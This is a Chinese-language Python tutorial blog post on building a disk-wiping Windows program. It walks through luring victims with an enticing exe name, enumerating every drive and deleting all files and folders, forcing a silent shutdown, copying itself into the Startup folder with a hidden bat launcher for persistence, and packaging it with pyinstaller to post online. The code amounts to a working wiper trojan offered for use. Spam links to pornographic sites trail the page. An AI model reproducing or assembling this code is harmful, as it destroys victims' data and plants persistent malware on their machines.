<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          使用Python一鍵刪除全盤文件自動(dòng)關(guān)機(jī)并留后門

          共 6184字,需瀏覽 13分鐘

           ·

          2021-06-05 15:01

          點(diǎn)擊上方“Python爬蟲與數(shù)據(jù)挖掘”,進(jìn)行關(guān)注

          回復(fù)“書籍”即可獲贈(zèng)Python從入門到進(jìn)階共10本電子書

          至今思項(xiàng)羽,不肯過(guò)江東。

          /1 前言/

          今天我們要做的案例是怎樣利用Python做一個(gè)hacker軟件。

          眾所周知,一般的Hacker對(duì)于黑操作系統(tǒng)一般常用手法莫過(guò)于發(fā)送木馬客戶端,修改系統(tǒng)注冊(cè)表。

          組策略,獲得開機(jī)啟動(dòng)權(quán)限,入侵電腦然后對(duì)電腦的文件進(jìn)行修改來(lái)達(dá)到不可告人的目的。

          今天我們要講的就是最基礎(chǔ)的,怎樣獲得開機(jī)啟動(dòng),先給大家講最基礎(chǔ)添加文件到系統(tǒng)啟動(dòng)項(xiàng)的文件夾中,當(dāng)然更加高端點(diǎn)也可以使用注冊(cè)表添加,這里不在累述。好了,下面開始正題。。。。。。


          /2 實(shí)現(xiàn)步驟/

          首先我們通過(guò)社會(huì)工程學(xué)進(jìn)行一個(gè)分析,準(zhǔn)備一個(gè)足夠吸引人的exe文件名稱好讓人第一眼看到就想點(diǎn)擊它的欲望;等到別人點(diǎn)擊了之后了這個(gè)程序是沒有任何響應(yīng)的,那么有的人也許會(huì)多點(diǎn)幾下程序,當(dāng)然這也對(duì)程序沒有任何影響。下面我們來(lái)看一下:

          首先我們得獲取系統(tǒng)盤盤符,這個(gè)我們可以使用os模塊通過(guò)對(duì)環(huán)境變量的字典鍵值來(lái)得到當(dāng)前系統(tǒng)盤盤符。    

          import osprint(os.getenv('SystemDrive'))

          得到盤符后我們先可以將他的目錄下的文件和文件夾打印出來(lái)    

          aa=os.getenv('SystemDrive')os.chdir(aa+'\\\\') \#修改當(dāng)前目錄os.system('tree\>\>1.txt') 打印樹形目錄并將其結(jié)果保存到1.txt文件中

          然后我們只需要?jiǎng)h除盤符下的文件夾和文件即可

          所以我們需要用到 os 的walk遍歷當(dāng)前盤符下的所有文件,然后使用remove方法和rmdir方法,一個(gè)是刪除文件另一個(gè)是刪除目錄

          好了。我們開始吧,由于沒有虛擬機(jī)于是自己創(chuàng)建一個(gè)目錄放了若干文件夾和文件,效果都一樣

          path = r"C:\\Users\\Administrator\\Desktop\\sa"

          os.walk() 方法用于通過(guò)在目錄樹中游走輸出在目錄中的文件名,向上或者向下。

          os.walk()方法是一個(gè)簡(jiǎn)單易用的文件、目錄遍歷器,可以幫助我們高效的處理文件、目錄方面的事情。

          語(yǔ)法:

          os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])

          參數(shù):

          top -- 根目錄下的每一個(gè)文件夾(包含它自己), 產(chǎn)生3-元組 (dirpath, dirnames,filenames) 【文件夾路徑, 文件夾名字, 文件名】。

          topdown --可選,為True或者沒有指定,一個(gè)目錄的的3-元組將比它的任何子文件夾的3-元組先產(chǎn)生 (目錄自上而下)。

          如果topdown為 False, 一個(gè)目錄的3-元組將比它的任何子文件夾的3-元組后產(chǎn)生(目錄自下而上)。

          onerror -- 可選,是一個(gè)函數(shù); 它調(diào)用時(shí)有一個(gè)參數(shù),一個(gè)OSError實(shí)例。報(bào)告這錯(cuò)誤后,繼續(xù)walk,

          或者拋出exception終止walk。    

          for root,dirs,files in os.walk(path,topdown=False):    \#遍歷目錄    for name in files:        os.remove(os.path.join(root, name))
              for name in dirs: os.rmdir(os.path.join(root, name))

          其實(shí)還有一種方法,就是shutil.rmtree(path),但是它會(huì)刪除目錄本身及所有子文件夾和文件,也就是說(shuō)他會(huì)刪除sa這個(gè)目錄,所以不推薦這種搞法,因?yàn)槲覀円獎(jiǎng)h除的是盤符下的文件夾或者文件,這樣做很容易導(dǎo)致未知的錯(cuò)誤

          得到了系統(tǒng)盤符之后,我們還想得到系統(tǒng)其它盤符那該怎么辦了,不著急,我們可以試試下面這種方法。

          import osimport string
          def get_pan(): disk_list=[] \#磁盤盤符列表 for p in string.ascii_uppercase: \#遍歷所有大寫字母 disk=p+':' if os.path.isdir(disk): \#看磁盤盤符名用了哪些大寫字母開頭         disk_list.append(disk) \#添加到盤符列表 return disk_listprint(get_pan()) #打印盤符

          結(jié)果很完美,跟我預(yù)想的一模一樣,連u盤盤符也打印出來(lái)了~

          光打印一個(gè)磁盤目錄文件好像顯得有點(diǎn)美中不足,于是我決定吧所有磁盤目錄文件都整出來(lái),老樣子,還是樹形結(jié)構(gòu)。

          這樣每個(gè)盤的目錄結(jié)構(gòu)就都保存在對(duì)應(yīng)盤的2.txt文件中了。

          然后我們將會(huì)把這些盤符下的目錄文件全部刪除,當(dāng)然遍歷刪除啦,為了模擬真實(shí)場(chǎng)景我決定用幾個(gè)帶有多層文件和目錄的文件夾來(lái)代替盤符,這里我就不一一截圖了,直接上代碼,老樣子    

          g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']
          for y in g:    for root, dirs, files in os.walk(y,topdown=False):\#遍歷目錄        for name in files:            os.remove(os.path.join(root, name))        for name in dirs:            os.rmdir(os.path.join(root, name))

          ok,我們已經(jīng)將文件及目錄全部刪除。

          刪除文件后了系統(tǒng)自然無(wú)法正常運(yùn)行,于是這個(gè)時(shí)候我們可以使電腦關(guān)機(jī),shutdown ,我的不二選擇,它的方法有很多,用法:

          shutdown [/i | /l | /s | /sg | /r | /g | /a | /p | /h | /e | /o][/hybrid] [/soft] [/fw] [/f]/m \computer[/d [p|u:]xx:yy [/c “comment”]]

          沒有參數(shù) 顯示幫助。這與鍵入 /? 是一樣的。

          /? 顯示幫助。這與不鍵入任何選項(xiàng)是一樣的。/i 顯示圖形用戶界面(GUI)。這必須是第一個(gè)選項(xiàng)。/l 注銷。這不能與 /m 或 /d 選項(xiàng)一起使用。/s 關(guān)閉計(jì)算機(jī)。/sg 關(guān)閉計(jì)算機(jī)。在下一次啟動(dòng)時(shí),重啟任何注冊(cè)的應(yīng)用程序。/r 完全關(guān)閉并重啟計(jì)算機(jī)。/g 完全關(guān)閉并重新啟動(dòng)計(jì)算機(jī)。在重新啟動(dòng)系統(tǒng)后,重啟任何注冊(cè)的應(yīng)用程序。/a 中止系統(tǒng)關(guān)閉。這只能在超時(shí)期間使用。 /fw 結(jié)合使用,以清除任何未完成的至固件的引導(dǎo)。/p 關(guān)閉本地計(jì)算機(jī),沒有超時(shí)或警告。可以與 /d 和 /f 選項(xiàng)一起使用。/h 休眠本地計(jì)算機(jī)。可以與 /f 選項(xiàng)一起使用。/hybrid 執(zhí)行計(jì)算機(jī)關(guān)閉并進(jìn)行準(zhǔn)備以快速啟動(dòng)。必須與 /s 選項(xiàng)一起使用。/fw 與關(guān)閉選項(xiàng)結(jié)合使用,使下次啟動(dòng)轉(zhuǎn)到固件用戶界面。/e 記錄計(jì)算機(jī)意外關(guān)閉的原因。/o 轉(zhuǎn)到高級(jí)啟動(dòng)選項(xiàng)菜單并重新啟動(dòng)計(jì)算機(jī)。必須與 /r 選項(xiàng)一起使用。/m \\computer 指定目標(biāo)計(jì)算機(jī)。/t xxx 將關(guān)閉前的超時(shí)時(shí)間設(shè)置為 xxx 秒。有效范圍是 0-315360000 (10 年),默認(rèn)值為 30。如果超時(shí)時(shí)間大于 0,則默示為/f 參數(shù)。/c "comment" 有關(guān)重新啟動(dòng)或關(guān)閉的原因的注釋。最多允許 512 個(gè)字符。/f 強(qiáng)制關(guān)閉正在運(yùn)行的應(yīng)用程序而不事先警告用戶。如果為 /t 參數(shù)指定大于 0 的值,則默示為 /f 參數(shù)。/d [p|u:]xx:yy 提供重新啟動(dòng)或關(guān)閉的原因。p 指示重啟或關(guān)閉是計(jì)劃內(nèi)的。u 指示原因是用戶定義的。如果未指定 p 也未指定 u,則重新啟動(dòng)或關(guān)閉是計(jì)劃外的。xx 是主要原因編號(hào)(小于 256 的正整數(shù))。yy 是次要原因編號(hào)(小于 65536 的正整數(shù))。

          所以我們得調(diào)用os.popen('shutdown /f /sg'),這樣就可以在沒有任何提示下關(guān)機(jī)了,神不知鬼不覺,哈哈哈,當(dāng)然這個(gè)操作得是基于文件操作結(jié)束后進(jìn)行的,再次進(jìn)行優(yōu)化    

          g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']
          for y in g: try:         #遍歷目錄         for root, dirs, files in os.walk(y,topdown=False):             for name in files:                 os.remove(os.path.join(root, name))             for name in dirs:                 os.rmdir(os.path.join(root, name)) time.sleep(1) except Exception: pass finally: os.popen('shutdown /f /sg')\#不彈出黑窗口

          我們把程序發(fā)到網(wǎng)上運(yùn)氣好別人點(diǎn)擊了,得讓那個(gè)文件在自啟動(dòng)目錄然后每次開機(jī)那個(gè)程序才會(huì)跟著啟動(dòng)啊,但是你想讓別人把那個(gè)文件放到啟動(dòng)目錄里去,做夢(mèng)呢?這些操作當(dāng)然交給萬(wàn)能的Python就能一步搞定啦。我們可以在點(diǎn)擊這個(gè)文件之后快速生成一個(gè)bat文件和一個(gè)EXE文件或者Python文件。

          在這里我以Python 和bat為主,因?yàn)槲疫€沒打包的緣故。

          自啟動(dòng)目錄路徑:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startupimport shutilshutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\StartMenu\\Programs\\StartUp\\gc1.py')

          在這里我們用到shutil這個(gè)模塊,專門操作文件目錄的Copyfile方法是將當(dāng)前資源文件復(fù)制到另一個(gè)目錄下的文件,但是需要注意一點(diǎn)的是,兩個(gè)文件名不可一樣,否則會(huì)報(bào)錯(cuò),雖然它可以復(fù)制,如果你非得用這個(gè)方法,記得拋異常。好了,現(xiàn)在可以了:

          然后我們還需要一個(gè)bat來(lái)啟動(dòng)它,因?yàn)闆]有bat它是需要借助外力去點(diǎn)擊才有效果的,有了bat就可以自動(dòng)啟動(dòng)。

          建立一個(gè)后綴為bat的文件,內(nèi)容如下:

          同樣的。我們還是需要我們的Python來(lái)智能產(chǎn)生bat文件那么該怎樣寫了,很簡(jiǎn)單,有人問(wèn)我為什么是pythow不是Python,因?yàn)榍罢哌\(yùn)行后沒有黑窗口,當(dāng)然不管是創(chuàng)建bat文件還是復(fù)制程序文件都最好在刪除之后調(diào)用,有人問(wèn)我,你的文件都刪除完了,留那一個(gè)有何用,哈啊哈哈,我只能說(shuō),僅供娛樂。。。

          回到正題,程序文件只需創(chuàng)建一個(gè)就ok。

          這樣就算是大功告成了,然后我們也可以把Python文件打包,這樣bat文件里就不需要寫解釋器了,因?yàn)橛械哪繕?biāo)電腦可能沒有Python環(huán)境,這個(gè)時(shí)候需要我們用pyinstaller打包一下。打包好了之后,直接把bat文件內(nèi)容改為start gc.exe就可以了。

          打包成exe文件之后了,就可以發(fā)布到網(wǎng)上裝X啦,哈哈哈~

          ------------------- End -------------------

          往期精彩文章推薦:

          歡迎大家點(diǎn)贊,留言,轉(zhuǎn)發(fā),轉(zhuǎn)載,感謝大家的相伴與支持

          想加入Python學(xué)習(xí)群請(qǐng)?jiān)诤笈_(tái)回復(fù)【入群

          萬(wàn)水千山總是情,點(diǎn)個(gè)【在看】行不行

          /今日留言主題/

          隨便說(shuō)一兩句吧~~

          瀏覽 46
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  亚洲第二十一页 | 欧日无码一区二区三区在线 | 你懂的在线网站 | 日韩欧美国产A片 | 天天插天天摸 |